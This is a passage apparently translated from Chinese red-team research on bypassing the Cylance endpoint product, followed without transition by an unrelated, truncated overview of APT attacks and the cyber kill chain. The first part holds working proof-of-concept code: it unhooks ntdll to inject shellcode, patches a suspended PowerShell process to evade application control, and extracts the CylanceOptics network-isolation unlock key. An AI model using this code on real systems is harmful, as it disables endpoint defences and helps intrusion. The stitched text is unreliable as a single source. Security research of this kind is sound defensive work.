如果启用了这些防护策略，我们发现Cylance会将`CyMemdef.dll`注入32位进程，将`CyMemDef64.dll`注入64位进程。
为了理解Cylance部署的防护措施，我们可以利用`CreateRemoteThread`来模拟恶意软件常用的内存注入技术。简单的PoC代码如下所示：
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID);
if (hProc == INVALID_HANDLE_VALUE) {
printf("Error opening process ID %dn", procID);
return 1;
}
void *alloc = VirtualAllocEx(hProc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
printf("Error allocating memory in remote processn");
return 1;
}
if (WriteProcessMemory(hProc, alloc, shellcode, sizeof(shellcode), NULL) == 0) {
printf("Error writing to remote process memoryn");
return 1;
}
HANDLE tRemote = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
if (tRemote == INVALID_HANDLE_VALUE) {
printf("Error starting remote threadn");
return 1;
}
与我们设想的一致，执行这段代码会被Cylance检测到，进程也会被终止：
检查Cylance注入的DLL，可以发现Cylance在进程中植入了多个hook，以检测进程是否调用这些可疑函数。比如，如果我们在`NtCreateThreadEx`（为`CreateRemoteThread`提供syscall）上设置一个断点，然后调用该API，我们可以看到Cylance会通过`JMP`指令修改该函数：
通过`JMP`继续执行，就会触发Cylance警告，强制结束我们的程序。了解这一点后，我们可以从进程中修改被hook的指令，移除Cylance检测机制：
#include <iostream>
#include <windows.h>
unsigned char buf[] =
"SHELLCODE_GOES_HERE";
struct syscall_table {
int osVersion;
};
// Remove Cylance hook from DLL export
void removeCylanceHook(const char *dll, const char *apiName, char code) {
DWORD old, newOld;
void *procAddress = GetProcAddress(LoadLibraryA(dll), apiName);
printf("[*] Updating memory protection of %s!%sn", dll, apiName);
VirtualProtect(procAddress, 10, PAGE_EXECUTE_READWRITE, &old);
printf("[*] Unhooking Cylancen");
memcpy(procAddress, "x4cx8bxd1xb8", 4);
*((char *)procAddress + 4) = code;
VirtualProtect(procAddress, 10, old, &newOld);
}
int main(int argc, char **argv)
{
if (argc != 2) {
printf("Usage: %s PIDn", argv[0]);
return 2;
}
DWORD processID = atoi(argv[1]);
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, false, processID);
if (proc == INVALID_HANDLE_VALUE) {
printf("[!] Error: Could not open target process: %dn", processID);
return 1;
}
printf("[*] Opened target process %dn", processID);
printf("[*] Allocating memory in target process with VirtualAllocExn");
void *alloc = VirtualAllocEx(proc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == (void*)0) {
printf("[!] Error: Could not allocate memory in target processn");
return 1;
}
printf("[*] Allocated %d bytes at memory address %pn", sizeof(buf), alloc);
printf("[*] Attempting to write into victim process using WriteProcessMemoryn");
if (WriteProcessMemory(proc, alloc, buf, sizeof(buf), NULL) == 0) {
printf("[!] Error: Could not write to target process memoryn");
return 1;
}
printf("[*] WriteProcessMemory successfuln");
// Remove the NTDLL.DLL hook added by userland DLL
removeCylanceHook("ntdll.dll", "ZwCreateThreadEx", 0xBB);
printf("[*] Attempting to spawn shellcode using CreateRemoteThreadn");
HANDLE createRemote = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
printf("[*] Success :Dn");
}
执行PoC后，可以看到我们的shellcode能正常执行，不会触发任何警告：
这种自我监管型的防护策略始终存在一些问题，因为这种机制需要依赖进程来检测自己是否存在可疑行为。
我们在2018年11月份开展这项研究，但之前@fsx30已公开过这方面<a
href=”https://medium.com/[@fsx30](https://github.com/fsx30 "@fsx30")/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6″>研究内容，其中演示了如何利用该技术转储进程内存。
## 五、应用控制
Cylance还提供另一项保护功能，可以阻止用户执行某些应用程序（如PowerShell）。启用该保护功能后，如果我们尝试执行PowerShell时，就会出现如下警告：
从前文分析可知，Cylance会将DLL注入进程中，以分析并部署防护措施。了解这一点后，我们可以分析`CyMemDef64.dll`，确定这里是否存在相同限制。
我们首先发现Cylance会调用`NtQueryInformationProcess`来检测应用程序可执行文件的名称：
提取该信息后，将其与`PowerShell.exe`字符串进行对比：
如果我们将`PowerShell.exe`可执行文件名改为`PS.exe`，是否能绕过这种限制？好吧可能没那么简单（但相信我们，在没引入其他缓解措施之前，这种方法可以绕过Cylance的PowerShell保护机制，万能的`Powercatz.exe`）。这表明Cylance还有其他校验措施，我们在同一个函数中找到了如下信息：
这里可以看到`powershell.pdb`字符串会被传递给某个函数，用来判断PE调试目录中是否存在该字符串。如果满足条件，则Cylance会将另一个DLL（`CyMemDefPS64.dll`）载入PowerShell进程中，这是一个.NET
assembly，负责显示我们前面看到的警告信息。
那么如果我们修改PowerShell可执行文件的PEB信息，会出现什么情况？
非常棒，现在我们知道Cylance阻止PowerShell执行的具体原理，但以这种方式修改程序并不是理想的解决方案，因为这样会改变文件的哈希值，也会破坏文件签名。我们如何在不修改PowerShell可执行文件的基础上达到同样效果？一种可选方法就是生成PowerShell进程，并尝试在内存中修改PDB引用。
为了生成PowerShell进程，我们可以使用`CreateProcess`，传入`CREATE_SUSPENDED`标志。一旦创建处于挂起状态的线程，我们需要定位PEB结构，找到PowerShell
PE在内存中的基址。接下来只要在恢复运行前解析PE文件结构并修改PDB引用即可，相关代码如下所示：
#include <iostream>
#include <Windows.h>
#include <winternl.h>
typedef NTSTATUS (*NtQueryInformationProcess2)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
struct PdbInfo
{
DWORD Signature;
BYTE Guid[16];
DWORD Age;
char PdbFileName[1];
};
void* readProcessMemory(HANDLE process, void *address, DWORD bytes) {
char *alloc = (char *)malloc(bytes);
SIZE_T bytesRead;
ReadProcessMemory(process, address, alloc, bytes, &bytesRead);
return alloc;
}
void writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) {
SIZE_T bytesWritten;
WriteProcessMemory(process, address, data, bytes, &bytesWritten);
}
void updatePdb(HANDLE process, char *base_pointer) {
// This is where the MZ...blah header lives (the DOS header)
IMAGE_DOS_HEADER* dos_header = (IMAGE_DOS_HEADER*)readProcessMemory(process, base_pointer, sizeof(IMAGE_DOS_HEADER));
// We want the PE header.
IMAGE_FILE_HEADER* file_header = (IMAGE_FILE_HEADER*)readProcessMemory(process, (base_pointer + dos_header->e_lfanew + 4), sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER));
// Straight after that is the optional header (which technically is optional, but in practice always there.)
IMAGE_OPTIONAL_HEADER *opt_header = (IMAGE_OPTIONAL_HEADER *)((char *)file_header + sizeof(IMAGE_FILE_HEADER));
// Grab the debug data directory which has an indirection to its data
IMAGE_DATA_DIRECTORY* dir = &opt_header->DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
// Convert that data to the right type.
IMAGE_DEBUG_DIRECTORY* dbg_dir = (IMAGE_DEBUG_DIRECTORY*)readProcessMemory(process, (base_pointer + dir->VirtualAddress), dir->Size);
// Check to see that the data has the right type
if (IMAGE_DEBUG_TYPE_CODEVIEW == dbg_dir->Type)
{
PdbInfo* pdb_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20);
if (0 == memcmp(&pdb_info->Signature, "RSDS", 4))
{
printf("[*] PDB Path Found To Be: %sn", pdb_info->PdbFileName);
// Update this value to bypass the check
DWORD oldProt;
VirtualProtectEx(process, base_pointer + dbg_dir->AddressOfRawData, 1000, PAGE_EXECUTE_READWRITE, &oldProt);
writeProcessMemory(process, base_pointer + dbg_dir->AddressOfRawData + sizeof(PdbInfo), (void*)"xpn", 3);
}
}
// Verify that the PDB path has now been updated
PdbInfo* pdb2_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20);
printf("[*] PDB path is now: %sn", pdb2_info->PdbFileName);
}
int main()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
CONTEXT context;
NtQueryInformationProcess2 ntpi;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
printf("Bypass Powershell restriction POCnn");
// Copy the exe to another location
printf("[*] Copying Powershell.exe over to Tasks to avoid first checkn");
CopyFileA("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", "C:\Windows\Tasks\ps.exe", false);
// Start process but suspended
printf("[*] Spawning Powershell process in suspended staten");
CreateProcessA(NULL, (LPSTR)"C:\Windows\Tasks\ps.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, "C:\Windows\System32\", &si, &pi);
// Get thread address
context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &context);
// Resolve GS to linier address
printf("[*] Querying process for PEB addressn");
ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
printf("[*] Base address of Powershell.exe found to be %pn", pebLocal.Reserved3[1]);
// Update the PDB path in memory to avoid triggering Cylance check
printf("[*] Updating PEB in memoryn");
updatePdb(pi.hProcess, (char*)pebLocal.Reserved3[1]);
// Finally, resume execution and spawn Powershell
printf("[*] Finally, resuming thread... here comes Powershell :Dn");
ResumeThread(pi.hThread);
}
代码运行效果参考[此处视频](https://youtu.be/fkkm5fcJ5Ew)。
## 六、绕过Office宏
前面讨论过，Cylance中实现了基于Office的VBA宏防护机制（除了缺少Excel
4.0支持之外）。如果我们仔细检查这种防护，可以看到Cylance采用了前文类似的一些hook，在VBA运行时中添加了一些检查操作。在这种情况下，Cylance会将hook添加到`VBE7.dll`中，后者负责提供`Shell`或`CreateObject`之类的函数。
然而我们发现，如果`CreateObject`成功调用，那么Cylance就不会继续检查COM对象。这意味着如果我们找到方法成功初始化目标COM对象，那么就可以绕过Cylance的保护机制。
一种方法就是简单添加VBA项目的引用即可。比如，我们可以添加关于“Windows Script Host Object Mode”的引用：
这样就可以在我们的VBA中访问`WshShell`对象，绕过被hook的`CreateObject`调用。一旦完成该操作后，我们就可以使用常见的Office宏技巧：
## 七、绕过CylanceOptics隔离
虽然我们并没有特别关注CylanceOptics，但还是应该了解一下它所提供的有趣功能。
当安全人员检测到网络中存在可疑活动时，许多EDR解决方案可以将某台主机域其他网络隔离。在这种场景下，如果攻击者使用该主机作为入侵网络的立足点，那么这种方法可以有效消除攻击者对网络的影响。
CylanceOptics也支持这种隔离功能，通过web接口提供一个Lockdown选项：
隔离某台主机后，我们发现CylanceOptics提供了一个解锁密钥：
如果能重新连接之前被隔离的主机，那么对我们的渗透过程显然非常有价值。因此我们需要了解在攻击者已入侵某台主机，并且没有获得这种解锁密钥的情况下，如何解除网络隔离。
检查CylanceOptics assembly后，我们发现其中存在一个经过混淆的调用，该调用可以用来获取注册表键值：
我们发现该调用会提取注册表中`HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics\PdbP`的值，随后该值会传递给.NET
DPAPI `ProtectData.Unprotect` API：
使用`LOCAL SYSTEM`对应的`DPAPI`主密钥来解密这个注册表键值后，我们可以提取出正确密码，相关代码如下所示：
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace CyOpticseUnlock
{
class Program
{
static void Main(string[] args)
{
var fixed = new byte[] {
0x78, 0x6A, 0x34, 0x37, 0x38, 0x53, 0x52, 0x4C, 0x43, 0x33, 0x2A, 0x46, 0x70, 0x66, 0x6B, 0x44,
0x24, 0x3D, 0x50, 0x76, 0x54, 0x65, 0x45, 0x38, 0x40, 0x78, 0x48, 0x55, 0x54, 0x75, 0x42, 0x3F,
0x7A, 0x38, 0x2B, 0x75, 0x21, 0x6E, 0x46, 0x44, 0x24, 0x6A, 0x59, 0x65, 0x4C, 0x62, 0x32, 0x40,
0x4C, 0x67, 0x54, 0x48, 0x6B, 0x51, 0x50, 0x35, 0x2D, 0x46, 0x6E, 0x4C, 0x44, 0x36, 0x61, 0x4D,
0x55, 0x4A, 0x74, 0x33, 0x7E
};
Console.WriteLine("CyOptics - Grab Unlock Keyn");
Console.WriteLine("[*] Grabbing unlock key from HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics\PdbP");
byte[] PdbP = (byte[])Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics", "PdbP", new byte[] { });
Console.WriteLine("[*] Passing to DPAPI to unprotect");
var data = System.Security.Cryptography.ProtectedData.Unprotect(PdbP, fixed, System.Security.Cryptography.DataProtectionScope.CurrentUser);
System.Console.WriteLine("[*] Success!! Key is: {0}", ASCIIEncoding.ASCII.GetString(data));
}
}
}
现在我们只需要将该密码传递给CyOptics就能恢复网络连接（参考[此处视频](https://youtu.be/umQHOa1A0sc)）。
进一步研究后我们发现，虽然我们能提取相关密钥，但如果我们以`LOCAL
SYSTEM`身份运行CyOptics命令，那么就不需要提供该密钥，只需要一条简单的命令就能解锁网络（参考[此处视频](https://youtu.be/yEftLqprpyU)）：
CyOptics.exe control unlock -net | 社区文章 |
# Whats APT:浅谈APT攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
横看成岭侧成峰，远近高低各不同
APT(Advanced Persistent
Threat):高级持续威胁，主要特点是利用手段高，攻击持续，高危害。换句话说其实当于持续性高级渗透，加上恶意的目的或者谋取利益的想法时，就成了威胁，而APT防御一般出现于酒足饭饱之后。
题主并不是APT专家，只是每个人在不同时机看的东西不一样，只想在此之际，科普一下，分享一些想法，欢迎指正，批评。
## 文章结构（目录）：
0x00.APT的历史起源
0x01.APT到底是什么？
0x02.APT的一些知名论坛，团体
0x03.APT有哪些攻击阶段？
0x04.APT分析模型
0x05.被透露的APT攻击
0x06.一些APT信息获取渠道
0x07.应对APT的思路或者想法
## 0x00.APT的历史起源
APT这个词汇最早起源于：2005，2005年英国和美国的CERT组织发布了关于有针对性的社交工程电子邮件，放弃特洛伊木马以泄露敏感信息的第一个警告，尽管没有使用“APT”这个名字。但
“先进的持续威胁”一词被广泛引用，2006年的美国空军Greg Rattray上校经常被引用为创造该术语的个人。
后来，在Stuxnet震网事件就是专门针对伊朗的核计划的黑客攻击就是一个APT攻击例子。
在计算机安全领域以及越来越多的媒体中，APT这个术语几乎总是用来指向针对政府，公司和政治活动家的黑客攻击的高级持续模式，而且也延伸到涉及到群体这些攻击背后。作为一个术语，高级持续威胁（APT）可以被转移焦点到攻击出现次数。PC
World报告称，从2010年到2011年，特别针对高级别目标的网络攻击增加了81％。
一个常见的误解是APT只针对西方国家。西方国家可能会更多地宣传针对西方国家的技术性APT，但许多国家的行为者都将网络空间安全作为收集有关个人和群体的情报的手段。在美国，网络司令部的任务是协调美国军方，应对高级持续网络威胁，也就是APT攻击。
同时，许多消息来源都觉得一些APT组织实际上隶属于或者代表着民族和国家。否则很难持有大量信息和资源，三类机构容易面临高级持续威胁的高风险，即：
高等教育
金融机构
政府机构
实际上，一个APT是有一套隐匿和持续攻击的框架的，往往针对特定的实体由一人或多人策划（一般是多人）。APT通常针对高价值目标出于商业或政治动机进行实施的。APT在长时间的攻击中依旧会尽可能的保证高度隐蔽性。而“高级”意味着使用恶意软件来攻击系统漏洞的复杂技术。“持续”过程表明，APT攻击组织外部和控制系统正在持续监测和提取特定目标的数据。“威胁”过程表明攻击会损害目标利益。
APT通常是指一个组织，甚至可能一个政府支持下的组织，因为APT团体是一个既有能力也有意向持续而有效地进行攻击的实体。所以APT通常用来指网络威胁，特别是使用互联网进行间谍活动，利用各种情报搜集技术来获取敏感信息，但同样适用于诸如传统间谍活动或攻击等其他威胁。其他公认的攻击媒介包括受感染的媒体，供应链和社会工程。这些攻击的目的是将自定义的恶意代码放在一台或多台计算机上执行特定的任务，并在最长的时间内不被发现。了解攻击者文件（如文件名称）可帮助专业人员进行全网搜索，以收集所有受影响的系统。个人，如个人黑客，通常不被称为APT，因为即使他们意图获得或攻击特定目标，他们也很少拥有先进和持久的资源。
## 0x01.APT到底是什么？
APT:高级持续威胁（Advanced Persistent
Threat),普遍认可的定义是，利用各种先进的攻击手段，对高价值目标进行的有组织、长期持续性网络攻击行为。也就是说很难去确定是不是APT攻击，只能从已发生过的APT攻击事件，分析其特点，进而与上述解释性概念相关联，得出APT攻击的一般规律。大致有这些规律：
1)高度目的性
2)高度隐蔽性
3)高度危害性
4)目标实体化
5)极强的持续性
APT攻击大致包含以下内容：
目标 - 威胁的最终目标
时效性 - 探测和访问系统的时间
资源 - 事件中使用的知识和工具的级别（技能和方法将会影响到这一点）
风险容忍度 - 为了不被发现而受到威胁的程度
技巧和方法 - 整个活动中使用的工具和技巧
行动 - 威胁或许多威胁的确切行动
攻击起点 - 事件发生点的数量
参与攻击的人数 - 事件涉及多少个内部和外部系统，有多少人的系统具有不同的影响/重要性权重
信息来源 - 通过在线信息收集来识别关于任何特定威胁的任何信息的能力（可以通过一点积极主动的方式找到）
通过拆开APT（Advanced Persistent Threat）来进行分析，我们可以这样看待一个APT：
**高级Advanced** –
威胁背后的运营商拥有全方位的情报收集技术。这些可能包括计算机入侵技术和技术，但也延伸到传统的情报收集技术，如电话拦截技术和卫星成像。虽然攻击的各个组件可能不被归类为特别“高级”的攻击技术（例如恶意软件），从通常可用的自己动手构建的恶意软件工具包，或者使用容易获得的漏洞，APT攻击人员通常可以根据需要访问和开发更高级的工具。他们经常结合多种定位方法，工具和技术，以达到并保持对目标的访问。
**持续Persistent** –
APT攻击一方优先考虑某项具体任务，而不会投机取巧地寻求获取财务或其他收益的信息。这个意味着攻击者是由外部实体引导的。攻击的针对性是通过持续监控和互动来实现的，以达到既定的目标。这并不意味着需要不断的攻击和恶意软件更新的攻势。事实上，“低级”的做法通常更成功。如果APT攻击方失去对目标的访问权限，他们通常会重新尝试访问，而且通常是成功的。APT攻击方的目标之一是保持对目标的长期访问，而不会仅仅满足于短时间的访问权限。
**威胁Threat** –
APT是一个威胁，因为他们有能力和意图。APT攻击是通过团队协作来执行的，而不是通过无意识和自动化的代码。并且APT攻击方都有一个特定的目标，同时他们技术精湛，积极主动，有组织有目的，资金充足，所以有大多数的APT攻击都是针对其他国家的，也被视为一种间谍活动。
通过这些APT攻击特征，可以得到以下结论：一是高价值信息网络系统是实施APT攻击的主要目标，也是应重点设防目标；二是攻击过程不可能采用单一攻击技术，防护技术应综合运用；三是攻击持续时间长，重要系统应长期设防；四是社会工程学被广泛使用，必须内防与外防并重，技术防范与管理制度并举的防范策略。
最后，用我自己的话总结一下：一些目的性极强，攻击方式极为先进，复杂多样，至少是在漏洞圈子公开之前就已经利用了，最后是攻击时间跨度较长，攻击隐蔽的攻击。最好的判断方式就是根据业务级别来确定被攻击资产的重要性，把每一次异常都当成APT是保持一个安全攻城狮应有的意识！(但不要当成了APT事件处理了)
## 0x02.APT的一些知名论坛，团体
目前业界比较流行的防御APT思路有三种：
1、采用高级检测技术和关联数据分析来发现APT行为，典型的公司是FireEye；
2、采用数据加密和数据防泄密(DLP)来防止敏感数据外泄，典型的公司是赛门铁克；
3、采用身份认证和用户权限管理技术，严格管控内网对核心数据和业务的访问，典型的公司是RSA。
至于其他说什么人工智能，机器学习防止APT，都还在发展阶段，而题主觉得防御应该是从基础传统防御到到云大物移四个层面，最后到人工智能，这些都是基础环境，技术层面的防御措施。
## 0x03.APT有哪些攻击阶段？
所谓攻击阶段只是在进行黑客攻击中典型的攻击手段和形式，不一定界限清晰，但都有迹可循。
题主最早了解阶段是从我们最常见的大规模，也是比较简单的一个类似于黑客渗透攻击阶段模型：信息收集，攻击阶段，提权阶段，后渗透阶段，销声匿迹。
但APT攻击会更加系统，分布，协作，一般分成信息收集，武器化部署，传递载荷，利用，安装，命令和控制，执行
而杀伤链一般是6个阶段：发现-定位-跟踪-瞄准-入侵-完成，APT攻击模型Cyber-Kill-chain与之对应
## 0x04.APT分析模型
这里借用两个分析模型，一个是kill-chain七层模型，一个是钻石模型
## 4.1Cyber-Kill-Chain攻击杀伤链
对于混迹于安全圈的我们来说，洛克希德-马丁的网络杀伤链（Cyber-Kill-Chain，也被我们称网络攻击生命周期），专门用来识别和防止入侵。然而，攻击模式会一直变化，就拿Valut7来说，里面提到的攻击模型，都是在08年就已经开始在使用，而却在16年，17年才被曝光，可想而知，攻防之间的时间差是多么的严峻，所以我不给予希望一个Kill-Chain能够带来多大的安全防护，而重在开拓视野，最好能未雨绸缪，如今，Valut8已经曝光，企业安全，似乎远远没有我们想象的那么安静。
网络攻击杀伤链模型用于拆分恶意软件的每个攻击阶段，在每个阶段有对应的特征用于识别，但用我后面会提到的一句：堵不如疏，殊途同归，具体如何，后面会具体说说我自己的理解，现在先简单说说Cyber-Kill-Chain的每个阶段。
## 4.2什么是网络攻击杀伤链（Cyber-Kill-Chain）？
“杀伤链”这个概念源自军事领域，它是一个描述攻击环节的六阶段模型，理论上也可以用来预防此类攻击（即反杀伤链）。杀伤链共有“发现-定位-跟踪-瞄准-打击-达成目标”六个环节。
在越早的杀伤链环节阻止攻击，防护效果就越好。例如，攻击者取得的信息越少，这些信息被第三人利用来发起进攻的可能性也会越低。
洛克希德-马丁公司提出的网络攻击杀伤链Cyber-Kill-Chain与此类似，本质是一种针对性的分阶段攻击。同样，这一理论可以用于网络防护，具体阶段如下图所示：
Cyber-Kill-Chain
这就像传统的盗窃流程。小偷要先踩点再溜入目标建筑，一步步实行盗窃计划最终卷赃逃逸。要利用网络杀伤链来防止攻击者潜入网络环境，需要足够的情报和可见性来明了网络的风吹草动。当不该有的东西出现后，企业需要第一时间获悉，为此企业可以设置攻击警报。
另一个需要牢记的点是：在越早的杀伤链环节阻止攻击，修复的成本和时间损耗就越低。如果攻击直到进入网络环境才被阻止，那么企业就不得不修理设备并核验泄露的信息。
要想明确杀伤链技术是否适合自己的企业，不妨通过杀伤链模型的几个阶段入手，来发现企业应当核实的问题。
## 4.3网络攻击杀伤链的各个阶段
### 4.3.1RECONNAISSANCE 识别目标，信息收集
在这个阶段，犯罪分子试图确定目标的好坏。他们从外部了解企业的资源和网络环境，并确定是否值得攻击。最理想的情况是，攻击者希望目标防备薄弱、数据价值。罪犯可以找到的信息门类，以及这些信息如何被使用。
企业的信息价值往往超出他们想象。雇员的姓名和详细信息（不仅是企业网站，而且包括社交网站的信息）是否在网端存储？这些信息可以用来进行社会工程用途，比如，让人们透露用户名或密码。企业的网站服务器或物理位置是否接入网络吗？这些也可以用于社会工程，或帮助攻击者缩小企业环境漏洞的寻找范围。
这个层面上的问题很难处理，社交网络的普及让它变得尤为棘手。将敏感信息隐藏起来是一个廉价的改善方式，虽然这也增加信息调用的时间成本。
### 4.3.2WEAPONIZATION 武器化准备工作
这些阶段是攻击者用工具攻击被选目标的具体过程，他们收集的信息将被用于恶意行为。他们手头的信息越多，社会工程攻击就越无缝可击。通过员工在LinkedIn上的信息，他们可以用鱼叉式钓鱼获得公司内部资源。或者，他们可以把远程访问木马提前嵌入可能会录入重要信息的文件里，以诱使接收者运行它。如果他们知道用户或服务器运行的软件信息，比如操作系统版本和类型，他们在企业网络里渗透和布置的把握就大大增加。
就这些阶段的防御而言，企业应当参照标准安全专家的建议去做。
企业的软件是否达到最新？这需要具体到每台终端上的每个应用。大多数公司都有某个小角落还用着老式台式机，系统仍然用的是Windows
98。如果这台设备接入网络，无异于对攻击者门洞大开。
企业使用电子邮件和网页过滤功能吗？电子邮件过滤可以有效阻止攻击中常用的文档类型。如果企业的文件必须用某种标准发送，比如密码保护的ZIP文件，这可以让用户了解文件是否无误。网页过滤则可以防止用户访问已知的不良网站或域名。
企业禁用USB设备吗？从安全的角度来看，让文件不需许可就运行绝非什么好主意。最好在运行前，确保给用户有时间暂停和思考他们所看到的情况。
企业使用端点保护软件的最新功能吗?虽然端点保护软件不是为了应对新型针对性攻击而设计，但是它们常常根据已知的可疑行为或软件漏洞来捕捉威胁。
### 4.3.3传递：传递载荷，启动运行
特点 在攻击方向目标传达了恶意软件之后。都将开始执行进一部分攻击操作。
这是防御方阻止该操作的第一个也是最重要的机会。有效性的关键措施是阻断入侵尝试和工具传递的重要部分
### 4.3.4利用 获取目标访问权限
特点 攻击方利用一个漏洞来获得访问权限（实际上可能会运用多个漏洞）。“0day”指的就是此步骤中使用的攻击漏洞。
这里部署的一般是传统的防御措施，同时针对“0day”，“1day”，“Nday”等类型的漏洞增加弹性，定制化的防御能力
**常用攻击** ：软件，硬件，或人类的脆弱性，获取或发现“0day”漏洞，攻击方利用基于服务器的安全漏洞，受害者触发漏洞：点击恶意电子邮件，点击恶意链接
**防御方式**
：用户安全意识培训和员工的电子邮件测试。以及邮箱服务器防护，Web开发人员的对于安全编码培训，定期扫描漏洞和渗透测试，端点防御措施：限制管理员权限，使用Microsoft
EMET，自定义端点规则阻断shellcode执行，端点登录审计过程，取证确定攻击源。
4.3.5安装： 在目标建立堡垒
攻击方 防御方
特点 通常情况下，攻击方安装一个持续后门或植入，可以长时间访问目标的工具
终端防御检测和记录“异常”安装活动。恶意软件分析过程中分析安装阶段的行为可以缓解攻击。
**常用攻击：**
Web服务器上安装木马后门，在目标客户端安装后门和植入，在目标上创建持续运行的服务，或者自启的服务和进程等等，有些攻击者会让一些“时间点”的文件，让恶意软件看起来它就是操作系统安装的一部分。
**防御方式：**
一个好的建议：关注通用软件安装路径，例如RECYCLER，了解恶意软件是需要特权账户还是一般用户的权限，终端接入审计：去发现异常文件的创建，所有的摘录证书，主要是包含签名的可执行文件，了解恶意软件的编译时间，以确定它是旧的还是新出现的恶意软件。
### 4.3.6命令和控制（C2）： 远程控制和植入
一旦威胁在企业的网络环境里扎根，它的下一个任务是给老窝打电话并等待指示。它可能下载额外的组件，更有可能的是通过C&C通道联系一个僵尸网络主控机。无论哪种方式，这都要求网络流量，这意味着企业必须扪心自问：防火墙是否设置了新项目进行网络通信的警报？
如果威胁已经实现了这些，它将对机器进行更改并将耗费IT工作人员对大量精力。有些公司或行业要求诊断受影响的机器上哪些数据被窃取或篡改。受影响的机器需要进行清洗或重置。如果数据已经备份，或者有可以快速加载到机器的标准企业模式，修复工作的成本和时间损耗就会有所降低。
有些攻击会另辟蹊径
去年的攻击状况已经充分证明了一点：攻击者不会严格按照游戏流程来——他们可能跳过步骤、添加步骤，甚至重复之前的步骤。最近的一些最具破坏性的攻击事件都是如此，这些攻击之所以能绕过安全团队耗费多年精心打造的防御体系，是因为它们有不同的流程安排。
“符合洛克希德-马丁公司的杀伤链的恶意行为被重点关注，这也让某些攻击隐形了。”Kudelski Security的全球管理服务副总裁Alton
Kizziah说。
数据中心安全的领军者Alert Logic的合伙人、产品营销高级经理Misha Govshteyn指出：“杀伤链从来不能彻底符合我们看到的种种攻击。”
根据2017年威瑞森的数据泄露调查报告，今年，网络程序攻击成为了数据泄露的最常见形式，在数据泄露案例中占到了近三分之一。常见方法是利用应用程序自身的漏洞。最近的Equifax数据泄露事件就是典型例子。这种攻击很难发现。在两个月里，Equifax未在网站上发现可疑的网络流量。“通常到了数据外泄的时候，企业才能察觉。”Positive
Technologies的网络安全弹性主管Leigh-Anne
Galloway说。“或者，可能需要一个第三方的实体，例如某个客户，来提醒企业出了问题。”Equifax泄露案可以追溯到Apache Struts
Web服务器软件中的一个漏洞。如果公司安装了这个漏洞的安全补丁，这个问题可能会避免，但是有时软件更新本身就是恶意攻击的桥梁，9月发生的CCleaner被黑事件就是一例。零日漏洞也是大麻烦。根据Contrast
Security的共同创始人兼首席技术官杰夫·威廉姆斯的观点，平均每个软件应用和api拥有26.8个严重漏洞。“这是一个惊人的数字，”他说。“公众对Equifax感到愤怒，但事实是，几乎所有的公司在应用程序层都是不安全的。我们发现，世界各地有成千上万的IP地址正在进行的应用攻击尝试，这一现象正在扩散。”
要抵御这类攻击，企业必须缩短补丁的安装延迟。“过去的时候，直到应用程序漏洞被披露后的数周或数月，针对性的攻击才会出现，”他说，“但是今天，安全窗口已经只有一天左右，而在2018年，这一时间可能进一步缩减到几个小时。”他补充说，企业也需要开始将安全控件直接嵌入到应用程序里。这被称为应用程序的运行自保，Gartner预测这一细分市场的复合年增长率为9%。
“安全需要更贴近应用程序，需要深入了解程序的核心进程和内存使用量，”Virsec Systems的创始人和首席技术官Satya
Gupta说。“新的流程控制技术将嵌入到应用程序层面，能理解应用的协议和环境，可以将可接受的应用程序流程绘制出来（就像谷歌地图）。如果应用程序应该从A点走到B点，但是却出现了一段意外的路程，那么肯定出错了。”
攻击者也可以利用被泄露的身份信息或强度弱的密码。这一过程不需要安装恶意软件，也不用与C&C服务器通信，不会产生横向操作。“寻找一份泄露的数据库或Amazon
S3数据意味着攻击可以简便完成，从而避免和防御者交锋。”Obsidian Security的首席技术官Ben
Johnson说。根据RedLock本月发布的一份报告，53%的组织使用Amazon
S3等云存储服务，这至少导致了一个意外结果，即数据暴露在公众面前。今年夏天的早些时候，Skyhigh Networks报道称，7%的企业使用的所有AWS
S3数据可以无限制访问，另有35%的企业未对数据加密。由于数据是通过合法渠道传出，数据防泄露可能无法检测这种行为。Govshteyn说：“企业需要专门的工具来保护针对网络应用程序的攻击。”DOS攻击也难以被杀伤链解释。“攻击者仍需选择目标，所以必须进行侦察阶段。”Cybereason的首席安全官Sam
